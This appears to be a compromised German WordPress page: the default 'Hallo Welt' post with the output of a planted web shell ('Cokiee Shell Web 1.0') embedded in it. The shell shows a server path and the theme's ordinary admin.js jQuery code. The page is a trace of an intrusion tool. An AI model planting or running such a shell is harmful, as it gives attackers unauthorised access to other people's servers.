Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /var/www/web432/html/wp-content/themes/touchm/library/admin/js/ |
Current File : //var/www/web432/html/wp-content/themes/touchm/library/admin/js/admin.js |
jQuery.noConflict(); jQuery(document).ready(function () { jQuery(".toggle-container").hide(); jQuery("#al_body_font, #al_headings_font, #al_menu_font").after('<div class="font-preview"></div>'); if (jQuery('.color-picker').size() > 0) { jQuery('.color-picker').ColorPicker({ onSubmit: function (hsb, hex, rgb, el) { jQuery(el).val('#' + hex); jQuery(el).ColorPickerHide(); }, onBeforeShow: function () { jQuery(this).ColorPickerSetColor(this.value); } }).bind('keyup', function () { jQuery(this).ColorPickerSetColor(this.value); }); } // Drag & Drop sorting jQuery(function($) { $('#sortable-table tbody').sortable({ axis: 'y', handle: '.column-order img', placeholder: 'ui-state-highlight', forcePlaceholderSize: true, update: function(event, ui) { var theOrder = $(this).sortable('toArray'); var data = { action: 'sneek_update_post_order', postType: $(this).attr('data-post-type'), order: theOrder }; $.post(ajaxurl, data); } }).disableSelection(); }); jQuery(function($) { $('#sortable-table-portfolio tbody').sortable({ axis: 'y', handle: '.column-order img', placeholder: 'ui-state-highlight', forcePlaceholderSize: true, update: function(event, ui) { var theOrder = $(this).sortable('toArray'); var data = { action: 'portfolio_update_post_order', postType: $(this).attr('data-post-type'), order: theOrder }; $.post(ajaxurl, data); } }).disableSelection(); }); // image Uploader Functions ############################################## function touchm_set_uploader(field) { var button = "#upload_"+field+"_button"; jQuery(button).click(function() { window.restore_send_to_editor = window.send_to_editor; tb_show('', 'media-upload.php?referer=tie-settings&type=image&TB_iframe=true&post_id=0'); touchm_set_send_img(field); return false; }); jQuery('#'+field).change(function(){ jQuery('#'+field+'-preview').show(); jQuery('#'+field+'-preview img').attr("src",jQuery('#'+field).val()); }); } function touchm_set_send_img(field) { window.send_to_editor = function(html) { imgurl = jQuery('img',html).attr('src'); if(typeof imgurl == 'undefined') // Bug fix By Fouad Badawy imgurl = jQuery(html).attr('src'); jQuery('#'+field).val(imgurl); jQuery('#'+field+'-preview').show(); jQuery('#'+field+'-preview img').attr("src",imgurl); tb_remove(); window.send_to_editor = window.restore_send_to_editor; } }; //touchm_set_uploader("slide"); touchm_set_uploader("favicon"); touchm_set_uploader("gravatar"); touchm_set_uploader("banner_top_img"); touchm_set_uploader("banner_bottom_img"); touchm_set_uploader("banner_above_img"); touchm_set_uploader("banner_below_img"); touchm_set_uploader("dashboard_logo"); // image Uploader Functions ############################################## function touchm_styling_uploader(field) { var button = "#upload_"+field+"_button"; jQuery(button).click(function() { window.restore_send_to_editor = window.send_to_editor; tb_show('', 'media-upload.php?referer=tie-settings&type=image&TB_iframe=true&post_id=0'); styling_send_img(field); return false; }); jQuery('#'+field).change(function(){ jQuery('#'+field+'-preview img').attr("src",jQuery('#'+field).val()); }); } function styling_send_img(field) { window.send_to_editor = function(html) { imgurl = jQuery('img',html).attr('src'); if(typeof imgurl == 'undefined') // Bug fix By Fouad Badawy imgurl = jQuery(html).attr('src'); jQuery('#'+field+'-img').val(imgurl); jQuery('#'+field+'-preview').show(); jQuery('#'+field+'-preview img').attr("src",imgurl); tb_remove(); window.send_to_editor = window.restore_send_to_editor; } }; touchm_styling_uploader("background"); touchm_styling_uploader("topbar_background"); touchm_styling_uploader("header_background"); touchm_styling_uploader("footer_background"); touchm_styling_uploader("main_content_bg"); // Del Preview Image ############################################## jQuery(".del-img").live("click" , function() { jQuery(this).parent().fadeOut(function() { jQuery(this).hide(); jQuery(this).parent().find('input[class="img-path"]').attr('value', '' ); }); }); })
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare